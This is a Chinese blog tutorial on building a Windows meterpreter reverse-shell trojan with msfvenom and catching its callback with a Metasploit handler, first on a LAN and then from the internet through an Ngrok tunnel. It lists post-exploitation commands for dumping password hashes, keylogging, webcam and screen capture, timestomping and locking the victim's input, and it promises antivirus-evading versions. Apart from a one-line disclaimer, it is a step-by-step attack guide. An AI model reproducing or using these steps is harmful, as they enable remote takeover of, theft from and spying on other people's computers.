Metasploit是一個免費的、可下載下傳的架構,通過它可以很容易地擷取、開發并對計算機軟體漏洞實施攻擊。它本身附帶數千個已知軟體漏洞的專業級漏洞攻擊工具。當H.D. Moore在2003年釋出Metasploit時,計算機安全狀況也被永久性地改變了。
Metasploit可以用來資訊收集、漏洞探測、漏洞利用等滲透測試的全流程,被安全社群冠以“可以黑掉整個宇宙”之名。剛開始的Metasploit是采用Perl語言編寫的,但是再後來的新版中,改成了用Ruby語言編寫的了。在kali中,自帶了Metasploit工具。
一、(内網滲透)内網英文縮寫LAN;内網又稱區域網路
區域網路的覆寫範圍一般是方圓幾千米之内,其具備的安裝便捷、成本節約、擴充友善等特點使其在各類辦公室内運用廣泛。區域網路可以實作檔案管理、應用軟體共享、列印機共享等功能,在使用過程當中,通過維護區域網路網絡安全,能夠有效地保護資料安全,保證區域網路網絡能夠正常穩定的運作。
使用MSF制作木馬:
msf opthions:
-p, --payload 指定需要使用的payload(攻擊荷載)。如果需要使用自定義的payload,請使用’-'或者stdin指定
-l, --list [module_type] 列出指定子產品的所有可用資源. 子產品類型包括: payloads, encoders, nops, all
-n, --nopsled 為payload預先指定一個NOP滑動長度
-f, --format 指定輸出格式 (使用 —help-formats 來擷取msf支援的輸出格式清單)
-e, --encoder [encoder] 指定需要使用的encoder(編碼器)
-a, --arch 指定payload的目标架構
--platform 指定payload的目标平台
-s, --space 設定有效攻擊荷載的最大長度
-b, --bad-chars 設定規避字元集,比如: ‘\x00\xff’
-i, --iterations 指定payload的編碼次數
-c, --add-code 指定一個附加的win32 shellcode檔案
-x, --template 指定一個自定義的可執行檔案作為模闆
-k, --keep 保護模闆程式的動作,注入的payload作為一個新的程序運作
--payload-options 列舉payload的标準選項
-o, --out 儲存payload
-v, --var-name 指定一個自定義的變量,以确定輸出格式
--shellest 最小化生成payload
-h, —help 檢視幫助選項
--help-formats 檢視msf支援的輸出格式清單
1、用ip a或者ifconfig查詢kali 的ip
-p:指定payload腳本子產品,lhost:指定傳回本地kali的IP,(我本機kali位址為192.168.245.140)
lport:指定傳回kali的端口,-f:輸出檔案類型,
-o:指定存放路徑和要生成的腳本名稱。
2、制作木馬指令:
msfvenom -p windows/meterpreter/reverse_tcp lhost=xxxx.xxx.xxx lport=4444 -f exe -o /root/shell.exe
在kali的root目錄下把剛剛生成的腳本發給同一區域網路下的Windows目标主機(如果是在虛拟機下測試虛拟機網絡設定為NAT模式或者橋接模式這樣kali和windows就處于同一區域網路下;測試下windows是否能夠ping通kali,兩台主機不能夠ping通的話受害機運作木馬程式是不會反彈shell)
3、打開MSF控制台
msfconsole
4、設定payload,加載攻擊子產品設定本地IP和監聽端口
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.245.140
set LPORT 4444
show options (檢視IP端口設定情況)
run (開啟監聽)
等待目标主機執行木馬反彈shell即可操控對方電腦
Metasploit腳本指令:
系統子產品
Help:打開 Meterpreter 使用幫助
run scriptname:運作 Meterpreter 腳本,在 scripts/meterpreter 目錄下可檢視到所有腳本
use priv:加載特權提升擴充子產品,來擴充 Meterpreter 庫
getprivs:盡可能多地擷取目标主機上的特權
per:通過各種攻擊向量來提升到系統使用者權限
shell : 以所有可用令牌來運作一個互動的shell
hashdump:導出目标主機中的密碼哈希值
rev2self:回到控制目标主機的初始使用者賬戶下
setdesktop number:切換到另一個使用者界面(該功能基于哪些使用者已登入)
screenshot:對目标主機的螢幕進行截圖
background:将目前 Meterpreter shell 轉為背景執行
quit:關閉目前Meterpreter會話,傳回MSF終
webcam_list (檢視有無攝像頭)
webcam_snap (通過攝像頭拍照)
webcam_stream (通過攝像頭開啟視訊)
滑鼠鍵盤子產品
uictl開關鍵盤/滑鼠
uictl disable mouse (禁用滑鼠)
uictl disable keyboard(禁用鍵盤)
uictl enable mouse (啟用滑鼠)
uictl enable keyboard (啟用鍵盤)
keyscan_start 針對目标主機開啟鍵盤記錄功能
keyscan_dump 存儲目标主機上捕獲的鍵盤記錄
keyscan_stop 停止針對目标主機的鍵盤記錄
uictl enable keyboard/mouse接管目标主機的鍵盤和滑鼠
檔案子產品
ls列出目标主機的檔案和檔案夾資訊
reg command在目标主機系統資料庫中進行互動,建立、删除、查詢等
upload file向目标主機上傳檔案
download file從目标主機下載下傳檔案
timestomp修改檔案屬性,例如修改檔案的建立時間
例如:timestomp file1 -f file2将file1檔案的時間資訊設定得與file2檔案完全一樣
cat檢視檔案内容
getwd獲得目标機上目前的工作目錄
edit編輯目标機上的檔案
search對目标機上的檔案進行搜尋,支援星号比對,如
search -d c:\windows -f *.mdb
execute執行檔案
execute (在目标機執行檔案)
execute -f cmd.exe -H -i -t(建立新程序cmd.exe, -H不可見,-i互動)
shutdown -r (重新開機)
shutdown -p(立即關機)
二、(外網滲透)外網英文縮寫WAN;外網又稱廣域網、公網。
外網是連接配接不同地區區域網路或城域網計算機通信的遠端網。通常跨接很大的實體範圍,所覆寫的範圍從幾十公裡到幾千公裡,它能連接配接多個地區、城市和國家,或橫跨幾個洲并能提供遠距離通信,形成國際性的遠端網絡。廣域網并不等同于網際網路。
處于不同區域網路的兩台主機是不能夠互相ping通的,是以必須将攻擊者的ip映射到公網上,這樣受害機運作木馬才能夠反彈shell。
内網穿透是我們在進行網絡連接配接時的一種術語,也叫做NAT穿透,即在計算機是區域網路内的時候,外網與内網的計算機的節點進行連接配接時所需要的連接配接通信,有時候就會出現内網穿透不支的情況。内網穿透的功能就是,當我們在端口映射時設定時,内網穿透起到了位址轉換的功能,也就是把公網的位址進行翻譯,轉成為一種私有的位址,然後再采用路由的方式ADSL的寬帶路由器,具有一個動态或者是固定的公網IP,最後ADSL直接在交換機上,這樣所有的電腦都可以共享上網。内網穿透除了可以實作内網之間機器的網絡通信功通之外。
一旦獲得了對系統的通路權限,攻擊者可以進行偵聽,橫向移動及嘗試提升特權,達到竊取系統或資料庫中敏感資料的目的,對伺服器安全乃至内網安全的危害不言而喻。
這裡我們到Sunny-Ngrok内網穿透服務使kali主機與Sunny-Ngrok公網伺服器連接配接,這樣處于不同區域網路的主機通路Sunny-Ngrok給出的TCP隧道,資料将會傳回kali主機。
Sunny-Ngrok提供免費内網穿透服務,免費伺服器支援綁定自定義域名
1、進入Ngrok網站注冊一個使用者(Sunny-Ngrok内網轉發内網穿透 - 國内内網映射伺服器)
2、開通TCP隧道
3、下載下傳Ngrok用戶端(Sunny-Ngrok内網轉發)
根據攻擊機系統情況下載下傳用戶端版本(這裡下載下傳Linux 64bita版本)
把下載下傳好的Ngrok壓縮包存放到kali的root目錄下
指令解壓縮:unzip linux_amd64(壓縮包名)
進入解壓好的目錄:
cd linux_amd64
啟動隧道映射TCP服務:
./sunny clientid (隧道id)
4、MSF生成外網木馬程式
注意:這裡lhost和lport分别為贈送的域名和端口
msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.com lport=10306 -f exe -o /root/shell.exe
lhost填TCP隧道上面的域名,lport填TCP域名後面的端口
5、打開msf設定payload,加載攻擊子產品設定本地IP和監聽端口
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.245.140
set LPORT 4444
show options (檢視IP端口設定情況)
run (開啟監聽)
6、轉發生成的木馬程式給目标機運作-目标機運作木馬-反彈shell-操控目标機
7、對目标主機進行截圖看看對方電腦正在幹什麼
screenshot
root目錄下檢視截圖
該教程僅用于資訊防禦技術教學請勿用于其他用途
後續更新免殺payload木馬程式,過360、火絨。
————————————————
版權聲明:本文為CSDN部落客「༺࿈思緒࿈༻」的原創文章,遵循CC 4.0 BY-SA版權協定,轉載請附上原文出處連結及本聲明。
原文連結:https://blog.csdn.net/QQ670663/article/details/122986061